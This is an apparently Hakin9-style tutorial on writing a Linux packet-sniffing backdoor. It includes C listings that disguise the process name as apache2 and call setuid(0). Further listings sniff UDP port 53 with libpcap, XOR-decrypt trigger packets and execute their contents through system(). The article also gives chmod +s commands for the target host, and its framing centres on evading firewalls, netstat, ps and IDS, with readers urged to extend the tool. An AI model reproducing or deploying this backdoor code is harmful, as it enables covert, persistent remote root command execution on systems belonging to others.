Sub

What AV software do you use?

What Vulnerability Scanners /do you use/ ?













Writing advanced Linux backdoors – packet sniffing

Writing advanced Linux backdoors – packet sniffing

Brandon Edwards

As people create new defences for backdoors, intruders are forced to innovate new techniques to keep pace with the rapidly progressing security industry. One of such techniques is packet sniffing backdoors. Let\'s learn how they work by writing our own proof-of-concept tool.

A new backdoor technique which has evolved from the need to bypass a local firewall (like Netfilter), without embedding code or connecting back, is packet sniffing. This style of backdoor works by capturing packets (possibly with specific traits) to interpret for commands to execute. The packets containing the backdoor commands don\'t have to be accepted by the system as a connection, just seen by the target system\'s network interface.

 

Local vs remote backdoors

Local backdoors are executed locally on the target system (hence the name), and thus require that the attacker has some form of prior access to the affected system before execution. Most local backdoors are used by intruders who have shell access to the compromised system, using the backdoor to escalate their privileges. Although there are many approaches for covertly using and hiding local backdoors, the necessity for the attacker\'s local presence provides an inherent high risk of discovery. For this reason, remote backdoors are becoming more prevalent than those which require local access.

Remote backdoors are network accessible, allowing for use from the attacker\'s system without prior access (other than the initial planting of the backdoor itself, of course). Traditionally, these backdoors were accessed remotely via TCP sockets listening on a high port, to which the user could connect. Upon establishing a connection, authentication may have been required, however many backdoors granted access immediately. This style of standard socket listening backdoor is primitive and very easily discovered by tools such as netstat (assuming netstat itself is not backdoored). This type of backdoor is also easily discovered by remote port scanning, consequently allowing arbitrary use by other hackers.

New backdoor tactics

As the security industry has progressed, administrators have learned to detect and defeat basic socket listening backdoors. By implementing firewall rules to block traffic on ports not essential to legitimate services, connectivity to listening backdoors can be greatly reduced, if not eliminated. To counteract this defence, new tactics were devised.

  • Embedding backdoor code inside of existing, privileged, socket-listening daemons to evade firewall(s). A backdoor-embedded daemon would listen for and provide normal service until some form of a protocol trigger is received, at which point privileges would be raised (if necessary) and a shell bound to the socket. A key advantage with this backdoor is if it is picked up by netstat or a port scan, it shows up as a standard listening daemon. The risks with this method reside in having to replace a privileged binary on the target system, as it is likely be noticed by host IDS or a seasoned admin. Even if never noticed, if the daemon is ever upgraded, the backdoored binary is likely to be overwritten (by the new, legitimate binary).

  • Connecting back to a hackers machine, instead of listening for an inbound connection, to bypass firewall(s). The assumption for this tactic is made that if a firewall is in place, its policies allow outbound traffic to arbitrary ports by default. Firewalls which track the state of connections (stateful firewalls) often allow the returning inbound traffic related to established connections, and thus make this technique successful. Unfortunately, this form of backdoor shows up in the output of netstat (and appears very conspicuous), because it is still a system managed connection. Another major flaw with this method is that timing and or triggers are required to determine when and where a connect-back occurs.

 

Backdoor design

Along with the advantages of packet sniffing backdoors, come some interesting issues, such as identifying which packets to interpret for commands, and how to authenticate them. Also, sending plain text command strings inside of packets might give away the presence of a backdoor to someone monitoring network traffic - some form of encoding or encryption (even if just simple character substitution) should be used. Although this method is not flawless, it can be very inconspicuous and difficult to notice unless specifically being looked for. This article further examines the nature of this type of backdoor by demonstrating how to write one.

Backdoor objectives

Before writing any program, it is best to first identify the program\'s objectives. Once objectives are identified, it is then easy write an outline of the program to later base code upon. The objectives (goals) to achieve with our example packet sniffing backdoor will be the following:

  • Run as a setuid() program, obviously to give its user root access, but also because root privileges are required for packet capturing.

  • Capture packets directed at a selected, popular port such as UDP 53 (used by DNS).

  • Interpret and decipher each packet with some form of authentication, ideally encryption, and execute authenticated packet contents as commands upon authenticating.

  • Have some additional rootkit functionality to avoid detection from tools such as ps.

Code skeleton

Having identified this example\'s objectives, we now have to use some way to illustrate the program\'s structure and logic. This can be done in many ways, for example via diagrams. Another way is to use pseudo-code, which may later be easily read and translated into real code.

Listing 1 contains a program skeleton outlining how to attain the desired backdoor goals. This outline is written in a descriptive code-comment fashion, and meant to illustrate the program\'s flow of logic. This base is used in reference throughout the article for writing the actual backdoor code.

Listing 1. Basic code skeleton

 
Main Program Function
{
mask process name
raise privileges
initialize variables & packet capture functions 
build packet filter for desired port, protocol, etc.
enact packet filter 
Loop infinitely 
{
Call function to capture a packet
Pass captured packet to Packet Handler Function
}
}
Packet Handler Function
{
verify packet is intended for backdoor by checking for a 
pre-defined backdoor header key 
->if key is not present then return
Since backdoor has a header key,
decrypt remaining packet data with some pre-defined password
After Decryption, verify data decrypted into backdoor 
intended commands by checking for protocol header/footer 
->if header/footer flags are not present then return
since packet had header key, and decrypted properly,
containing adequate flags, execute the remaining data 
call system to execute decrypted_data
then return
}

 

The program layout shown in Listing 1 is divided into two segments: a main function, and a packet handler function called by the main function. In main(), masking the process name is done to deceive anyone who runs a program like ps to view running processes. For obvious reasons, an attacker would not want an admin to see a process called backdoor, or silentdoor, etc. Privileges are then raised, both for the ability to capture packets, as well as to provide to the backdoor user. Next, the packet capturing variables and functions required for a packet capture session are initialized. Finally, an infinite packet capturing loop is entered, pass each captured packet to the handler function.

The packet handler function is where most of the program\'s logic is required, as it has to decipher which packets were meant for the backdoor from all of the packets with the same protocol and port. The most efficient way to do this is to incorporate some form of authentication, ideally involving some type of encryption mechanism. In the program outline, the received packet is checked for a backdoor-header-key (some key phrase to hint that the packet is for the backdoor). If this backdoor-header-key is not present, the handler function returns immediately, so the program can be ready to catch the next packet. If the header-key is present, then it decrypts the remaining packet data with some basic decryption scheme.

Following this, the decrypted packet contents are searched for some string or flag, to prove the decryption was successful. If the decrypted flags are not found, the handler simply returns. This is done as a final layer of authentication: if the packet has the header key, and the packet\'s contents decrypted properly, it can be safely assumed the packet is intended for the backdoor and contains a command. At this point the remaining decrypted packet contents are extracted and executed as a system command, completing the purpose of the backdoor.

Writing the program

Writing a packet sniffing program of any sort is relatively simple, particularly with use of the libpcap library. Libpcap is a library providing a robust, easy to use set of functions for capturing and managing packets. This article introduces some basic libpcap functions as used in writing the backdoor, but by no means covers libpcap in its entirety. Extensive documentation of libpcap\'s functions and related information is available at http://www.tcpdump.org.

Hiding the process name

Hiding or masking the process name is the first goal covered in the program outline, and in turn will be the first issue addressed while writing code. Listing 2 shows the beginning of a C translation of the pseudo-code from Listing 1. Inside of function main(), the first line of code is strcpy(argv[0], MASK). This function call copies the string defined as MASK into argv[0]. When argv[0] is changed, so is the programs base name and in turn the process name for the program. This is a simple and effective way to change a program\'s process name (to deceive someone running ps). In this case, the name is changed to resemble Apache\'s running process name.

Listing 2. Hiding the process name and raising privileges

 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pcap.h>
#define MASK "/usr/sbin/apache2 -k start -DSSL"
int main(int argc, char *argv[]) {
/* mask the process name */
strcpy(argv[0], MASK);    
/* change the UID/GID to 0 (raise privs) */
setuid(0);
setgid(0);
/* setup packet capturing */
/* ... */
/* capture and pass packets to handler */
/* ... */
}

 

Raising privileges

Listing 2 also shows the privileges being changed by calling setuid(0) and setgid(0), to set the UID and GID respectively. This step is the most fundamental purpose of a backdoor. These functions each take one argument: the desired ID. Since user and group ID value of zero is root, these functions give the program effective root privileges.

Root privileges aren\'t just for providing full access to the user, but also required for capturing packets. Of course, for this program to actually be allowed to set its own privileges, the compiled binary must have the suid-bit set on the target system. Setting the backdoor binary\'s setuid-bit and relevant permissions is as easy as passing the following commands on the target system:

# chown root backdoor_binary

# chmod +s backdoor_binary

Capturing packets

The time has come to begin to write the appropriate pcap functions to capture packets. Listing 3 contains the bare-essential code to start a packet capture session for the example backdoor. The first step in this process is to call the pcap_lookupnet() function, which is intended to acquaint pcap with the network and netmask it will be sniffing from. This specific call will lookup and store the network and netmask into the bpf_u_int32 variables net and mask, which are provided as arguments.

This function\'s first argument is the desired device to capture packets from, but setting it to NULL implies use of any device, thus capturing packets on all available interfaces. Since an attacker is likely to not know the devices on a target system, not specifying a device works best for writing a backdoor. If the function call fails, -1 is returned and the program calls exit().

Listing 3. Packet capturing

 
pcap_t       *sniff_session;
char         errbuf[PCAP_ERRBUF_SIZE];
char         filter_string[]="udp dst port 53";
struct       bpf_program filter;
bpf_u_int32 net;
bpf_u_int32 mask;
if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf)) {
/* failed. die. */
exit(0);
}
if (!(sniff_session=pcap_open_live(NULL, 1024, 0, 0, errbuf))) {
/* failed. die */
exit(0);
}
pcap_compile(sniff_session, &filter, filter_string, 0, net);
pcap_setfilter(sniff_session, &filter);
pcap_loop(sniff_session, 0, packet_handler, NULL);

 

The next function called in Listing 3 is pcap_open_live(), which opens and returns a pointer to a packet capture descriptor. A capture descriptor is the primary data type used for capturing packets, and ultimately manages all aspects of the packet capturing session.

Like the previous function, this function\'s first argument is the network device to capture on, where NULL implies any device. The next argument is to set the maximum amount of bytes to be captured from each packet, called the snaplen, and is set to 1024. The third argument determines whether or not to place the device in promiscuous mode (whether or not to capture packets which were not intended for this system). Here it is set to non-promiscuous mode, but this option doesn\'t matter in this context since it is ignored if NULL (any device) is specified for the first argument.

Not entering the device into promiscuous mode is an advantage for this application. Often, when a device enters promiscuous mode, a statement alerting the status of the device is recorded in the system log (which could give away the backdoor\'s presence). The fourth argument is a read timeout in milliseconds; zero specifies no timeout. If pcap_open_live() fails, NULL is returned and the program will exit(), otherwise a pointer to a capture descriptor is returned.

Next call is to the function pcap_compile(). This function builds, or what pcap calls compiles, a packet filter for restricting what type of packets are captured. Building a packet filter is the easiest way to specify the desired protocol and port of packets to be captured, and thus can be used to satisfy one of the backdoor\'s objectives.

The first argument to pcap_compile() is the capture descriptor, sniff_session. The next argument expected is a pointer to a bpf_program structure. This structure is referred to as the filter program which becomes compiled by pcap_compile(). In the example, the bpf_program declared is named filter, and is passed to pcap_compile() by its address (effectively a pointer).

The third argument is the string containing rules to be compiled into this filter. The filter rule strings are written in a logical and intuitive syntax. The array declared as filter_string[], containing "udp dst port 53", is passed for this argument. When compiled into a bpf_program, this rule string tells pcap to only capture packets destined for UDP port 53.

Once the packet filter is compiled, it is then enacted by calling pcap_setfilter(sniff_session, filter). From here on, any packet captured through the capture descriptor sniff_session will be protocol UDP destined for port 53 (which was one of the backdoor\'s goals).

Finally in Listing 3, the function pcap_loop() is called to start the actual capture session. The arguments expected by pcap_loop() are: the capture descriptor, the count of packets to capture, the name of a packet handler function, and an arbitrarily defined pointer to pass to the packet handler. pcap_loop() function works by listening for and capturing packets on the given descriptor, until the specified capture count has been met. Upon capturing each packet, it calls the given handler function to process the packet accordingly. This packet handler function must have a specifically defined argument structure, because pcap_loop() passes it data in a specific manner.

When pcap_loop() calls the packet handler function, it passes it the following arguments in order to the handler: a programmer-defined pointer, a pointer to a pcap_pkthdr structure (explained later on), and a pointer to the packet itself. This allows the packet handler function to receive the packet, its relative information, and any other data the programmer would like to pass in (via the programmer-defined pointer).

In Listing 3, the packet count passed is 0, which tells pcap_loop() to capture packets indefinitely. The packet hander function is specified to be called packet_handler, which means pcap will be looking for a function with that name to pass captured packets to. The programmer-defined pointer is not required, as it is never actually dereferenced by pcap; it is only provided as a means for the programmer to pass data through pcap_loop() to the handler function. For writing this backdoor, and the scope of this article, this pointer is not used, and in turn is passed to pcap_loop() as NULL.

Handling packets and parsing commands

How to handle a captured packet, and properly parse it for commands, is the most difficult task to address when writing a packet sniffing backdoor. However, since the programmer knows that pcap will be passing the handler function arguments in a specific order, writing a prototype for the handler function is relatively simple.

The first argument being passed to the handler is the programmer-defined pointer u_char *user. This is the same pointer which was previously passed to pcap_loop() NULL, so it is known that no data will be present in this argument for this example. The second argument being passed to this function is a pointer to a pcap_pkthdr structure. This structure contains three elements: struct timeval ts containing the time the packet was captured, bpf_u_int32 caplen containing a count of bytes captured, and a bpf_u_int32 len containing the total length of bytes available for capture (which may be more than the bytes captured, if it exceeded the snaplen).

Finally, the last argument passed in is an unsigned char *packet, pointing to the packet data. Keep in mind that pcap captures the entire packet, including its protocol headers, so the pointer u_char *packet points to the beginning of the whole packet (not just its contents). To access solely the packet\'s contents, the length of the protocol headers (Ethernet, UDP, IP, etc..) in bytes must be known to offset from the packet pointer being passed. In Listing 4, there is a #define value for the combined header lengths for Ethernet, IP, and UDP headers, with a total count of 44 bytes.

Listing 4. Handling packets and parsing commands

 
#define ETHER_IP_UDP_LEN 44
#define MAX_SIZE 1024
#define BACKDOOR_HEADER_KEY "leet"
#define BACKDOOR_HEADER_LEN 4
#define PASSWORD "password"
#define PASSLEN 8
#define COMMAND_START "start["
#define COMMAND_END "]end"
void packet_handler(u_char *ptrnull, 
const struct pcap_pkthdr *pkt_info, 
const u_char *packet)
{
int len, loop;
char *ptr, *ptr2;
char decrypt[MAX_SIZE];
char command[MAX_SIZE];
/* Step 1: identify where the payload of the packet is */
ptr = (char *)(packet + ETHER_IP_UDP_LEN);
if ((pkt_info->caplen - ETHER_IP_UDP_LEN - 14) <= 0) 
return; 
/* Step 2: check payload for backdoor header key */
if (0 != memcmp(ptr, BACKDOOR_HEADER_KEY, BACKDOOR_HEADER_LEN))
return;
ptr += BACKDOOR_HEADER_LEN;
len = (pkt_info->caplen - ETHER_IP_UDP_LEN - BACKDOOR_HEADER_LEN);
memset(decrypt, 0x0, sizeof(decrypt)); 
/* Step 3: decrypt the packet by XOR\'ing pass against contents */ 
for (loop = 0; loop < len; loop++)
decrypt[loop] = ptr[loop] ^ PASSWORD[(loop % PASSLEN)];
/* Step 4: verify decrypted contents */
if (!(ptr = strstr(decrypt, COMMAND_START))) 
return;
ptr += strlen(COMMAND_START);
if (!(ptr2 = strstr(ptr, COMMAND_END)))
return;
/* Step 5: extract what remains */
memset(command, 0x0, sizeof(command));
strncpy(command, ptr, (ptr2 - ptr));
/* Step 6: Execute command */
system(command);
return;
}

 

The function shown in Listing 4 is named packet_handler(), as this is the expected function name (having been passed into pcap_loop() in Listing 3). The objective of packet_handler() is to ensure that the packet being passed is meant for the backdoor, and contains the legitimate backdoor data. To achieve this for the example backdoor, it is necessary to write some form of backdoor protocol syntax for the authentication and decryption of the packet.

As shown in Listing 4, the first layer of authentication involves comparing the first few bytes of the packet contents against some form of protocol-key. If the key is not present, the packet is immediately disqualified from backdoor use, and the function returns. This presence of this protocol key indicates that the packet is most likely meant for the backdoor, and the data should proceed through furher authentication. The intent of having a protocol-key checked for before more process-intensive forms of authentication is for efficiency.

By now, if the handler function has not yet returned, the packet is assumed to contain encrypted data. It is appropriate to now attempt decryption of the remaining packet data, and then check for further authentication. For the scope of this example, no means of heavy encryption will be used, instead this example uses a method called XOR encryption. This form of encryption is simple, using the XOR (Exclusive-OR) bitwise operator with 2 bytes of data to produce 1 resulting byte of data. That is, to take a byte from a password string, and XOR it against a byte from the array of data to be encrypted, and the result is an encrypted byte. The decryption process is the essentially the same process: XOR an encrypted byte against a corresponding password byte to find the original unencrypted byte.

Listing 4 uses a for loop to XOR each byte remaining in the packet against the password defined as PASSWORD. The modulus operator (%) is used to determine which byte of the password string corresponds to the byte being referenced in the packet contents. The decrypted byte resulting from each cycle in the loop is stored in the array named decrypt[].

Once the remaining data has been decrypted, it needs to be verified. Verification of the decrypted data is done to check that it originated from a decrypted state and thus was intended for the backdoor. It is important here to realize that even though the packet contained the backdoor header key, it may have been completely random and coincidental. More importantly, the packet might even be spoofed by someone aware of the backdoor, as the header key could be easily sniffed (as it is in plaintext). By checking the decrypted data, it is ensured that the creator of the packet not only knew the backdoor header key, but also knew the encryption password.

For easy programming, Listing 4 validates the decrypted contents by simply checking for 2 predefined strings within the decrypted data. These strings are meant act as a header and footer for the command string to the executed, and are defined as COMMAND_START and COMMAND_END. If either one of these strings is not found, the packet is considered invalid and, the function returns. Otherwise, if both strings are present, the data between the two strings is extracted and considered to be a command. This final step in verification eliminates almost all (99.9%) possibility of an irrelevantly random or fraudulently created packet.

The last step to complete the purpose of this backdoor is execute the remaining string as a command. This is done in Listing 4 by calling system() on the remaining decrypted, extracted string. Note that although calling system() will cause execution of the string as a command, it does nothing to manage the input/output of the command being executed. In turn, system() is not very stealthy or practical in the context of a remote backdoor, and only shown here as an example.

Our example backdoor is, as we can see, very simple. However, it forms a base for experimentation and for extended functionality. One program already created on the basis of this idea is author\'s own SilentDoor, included on the hakin9.live CD. Readers are encouraged to experiment and expand this idea and welcome to post comments to